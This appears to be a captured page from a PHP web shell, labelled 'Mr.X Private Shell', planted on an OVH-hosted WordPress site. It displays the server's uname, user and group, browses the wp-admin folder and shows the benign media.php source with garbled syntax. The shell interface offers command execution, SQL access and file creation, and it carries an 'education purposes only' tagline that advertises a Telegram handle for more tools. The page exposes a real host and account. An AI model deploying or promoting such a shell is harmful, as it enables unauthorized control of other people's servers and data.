Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www///wp-admin///      ( Reset | Go to )
File Name: media.php
Edit
<?php
/**
 * Media management action handler.
 *
 * This file is deprecated, use 'wp-admin/upload.php' instead.
 *
 * @deprecated 6.3.0
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap. */
require_once __DIR__ '/admin.php';

$parent_file  'upload.php';
$submenu_file 'upload.php';

$action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field$_REQUEST['action'] ) : '';

switch ( 
$action ) {
    case 
'editattachment':
    case 
'edit':
        if ( empty( 
$_GET['attachment_id'] ) ) {
            
wp_redirectadmin_url'upload.php?error=deprecated' ) );
            exit;
        }
        
$att_id = (int) $_GET['attachment_id'];

        
wp_redirectadmin_url"upload.php?item={$att_id}&error=deprecated" ) );
        exit;

    default:
        
wp_redirectadmin_url'upload.php?error=deprecated' ) );
        exit;
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL